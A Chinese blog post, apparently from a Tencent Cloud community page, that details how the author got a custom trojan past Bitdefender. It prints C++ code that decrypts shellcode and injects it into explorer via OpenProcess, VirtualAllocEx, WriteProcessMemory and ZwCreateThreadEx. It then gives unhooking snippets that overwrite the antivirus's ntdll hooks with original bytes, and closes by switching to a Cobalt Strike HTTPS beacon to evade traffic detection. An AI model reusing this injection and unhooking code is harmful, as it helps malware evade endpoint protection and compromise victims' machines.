bypass Bitdefender
原创
渗透时,可能会遇到各种各样的的杀软,但每个杀软特性不同,在绕过前,往往都需要分析,本文就Bitdefender进行分析
最近在研究如何免杀,写了一个马,火绒 360 成功绕过(图有点少,当时没存,火绒测试是用的同学的物理机,两台,还有一台没截图;360是虚拟机)
然后看到Askar大佬的文章,决定试试绕过Bitdenfender,先运行一下,说不定也过了呢(痴心妄想)
结果一运行,连马也给我删了,看看Bitdefender是如何检测的
检查我的exe，通过x64debug去调试:
发现这里竟然多了一个"atcuf64.dll",而且是Bitdefender的,这非常可疑,大概率是来检查我的行为的,很有可能是Hook我的API,这里看一下我的马用到了哪些API
DWORD CeatRemoThread(DWORD pid)
{
HANDLE hThread;
DWORD dwOldProtect;
DWORD dwThreadId;
int shellcode_size = sizeof(buf);
char* newBuf;
decrypt(buf, shellcode_size, (LPVOID*)&newBuf); //jiemi
HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (hHandle == NULL)
{
printf("openprocessError");
free(newBuf);
return FALSE;
}
LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T dwSize = 0;
WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);
Sleep(3000);
VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
if (hNtdll == NULL)
{
printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] Load ntdll.dll Successfully!\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL)
{
printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x\n", ZwCreateThreadEx);
}
HANDLE hRemoteThread = NULL;
DWORD ZwRet = 0;
ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
(LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL)
{
printf("[!] Creat RemoteThread Error,Error is:%d\n", GetLastError());
getchar();
VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);
CloseHandle(hHandle);
FreeLibrary(hNtdll);
return FALSE;
}
WaitForSingleObject(hRemoteThread, INFINITE);
return TRUE;
}先把杀软喜欢检测的拿出来 VirtualAllocEx WriteProcessMemory ZwCreateThreadEx
这里可以看到我的ZwCreateThreadEx是动态加载的,而且较为底层,先看看WriteProcessMemory,是否被钩住了
使用disasm WriteProcessMemory找到这个API
跟进去看看，这里是比WriteProcessMemory更为底层的NtWriteVirtualMemory
跟进去看看!
似乎是被钩住了,看看本来NtWriteVirtualMemory的样子
这里证明确实是被Bitdefender的那个atcuf64.dll钩住了,会发送到这个dll中那里进行检查,监控
这里我希望进行一个unhook的操作,把他E9的4个字节,包括E9还原成原来的硬编码,原来的硬编码为:
4C 8B D1 B8 3A
这里更新自己的代码,动态获取NtWriteVirtualMemory的地址并unhook
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(hNtdll, "NtWriteVirtualMemory");
printf("[*] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5, NULL)) {
printf("[*] NtWriteVirtualMemory unhook done!\n");当我单步执行到unhook done后,看到NtWriteVirtualMemory确实已经复原,unhook成功了！
再看VirtualAllocEx 似乎并没有被hook
先放到一边
再看ZwCreateThreadEx,这个底层的函数同样被hook了
同样的,我们unhook,改为原来的硬编码 4C 8B D1 B8 C1
代码新增:
typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (WriteProcessMemory(GetCurrentProcess(), ZwCreateThreadEx, "\x4C\x8B\xD1\xB8\xC1", 5, NULL)) {
printf("[*] ZwCreateThreadEx unhooking done!\n");
}看看效果
也已经恢复为原来的硬编码
直接运行试试,应该是可以了,但是运行发现还是被拦截了
很难受，但是我发现这里报的毒已经跟之前的不一样了,并且我的马并没有被删！这表明Bitdenfender认为我的exe没有问题,他这里报毒指的是explorer中有cs的马,这属于绕过内存扫描的内容,hook层面已经绕过完成(了吗？)
我一开始以为是动态扫描出我的马,但我发现Bitdefender的反应很快,我想到卡巴斯基,马可以上线大概5秒,毕竟扫描也需要时间,但为什么这里一瞬间就挂了,我猜想是Bitdefender监控到了explorer有特殊的行为,或者什么东西操纵了它,一看我调用的API,openprocess这个API很明显,我猜想是不是Bitdefender监控到了我打开过explorer,想到这里我有些激动,一看,果然被挂钩了！
尝试unhook,硬编码为4C 8B D1 B8 26
代码:
LPVOID ZwOpenProcess_Address = GetProcAddress(hNtdll, "ZwOpenProcess");
printf("[*] ZwOpenProcess address is : %p\n", ZwOpenProcess_Address);
if (WriteProcessMemory(GetCurrentProcess(), ZwOpenProcess_Address, "\x4C\x8B\xD1\xB8\x26", 5, NULL)) {
printf("[*] ZwOpenProcess unhooking done!\n");
}unhook成功:
再测试发现依然没过,这里有点尴尬,重新回来审视报毒
我打码的部分是我的ip,英文我也不怎么看的懂,web什么的,他又把ip标记出来,也许是不是内存扫描,是检测到有通信的流量,应该是防火墙
反向shell是没有问题,问题是cs太过于出名,他的payload很容易就被识别出来
想了一天,自己构建payload确实超出我的能力,晚上的时候看了下cs还有哪些beacon,突然想到https不是相对于http更加安全吗,是否可以帮助我们绕过,直接上图,成功了！
我又重新使用http的beacon的payload测试一下,直接给我杀了
总结一下这几天绕过杀软的心得:
国产的杀软先不说了,卡巴斯基我在分析的时候发现他似乎并没有hook API，包括静态检测这些方面甚至我不用混淆都能过,但是他的动态扫描内存却是非常头疼的,而Bitdenfender是hook API并且监控敏感流量,但运行过后就没扫描内存,各种杀软都有他们各自擅长的领域,但不可能每个方面都兼顾。要有更好的效果,就没有好的性能。
原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。
原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。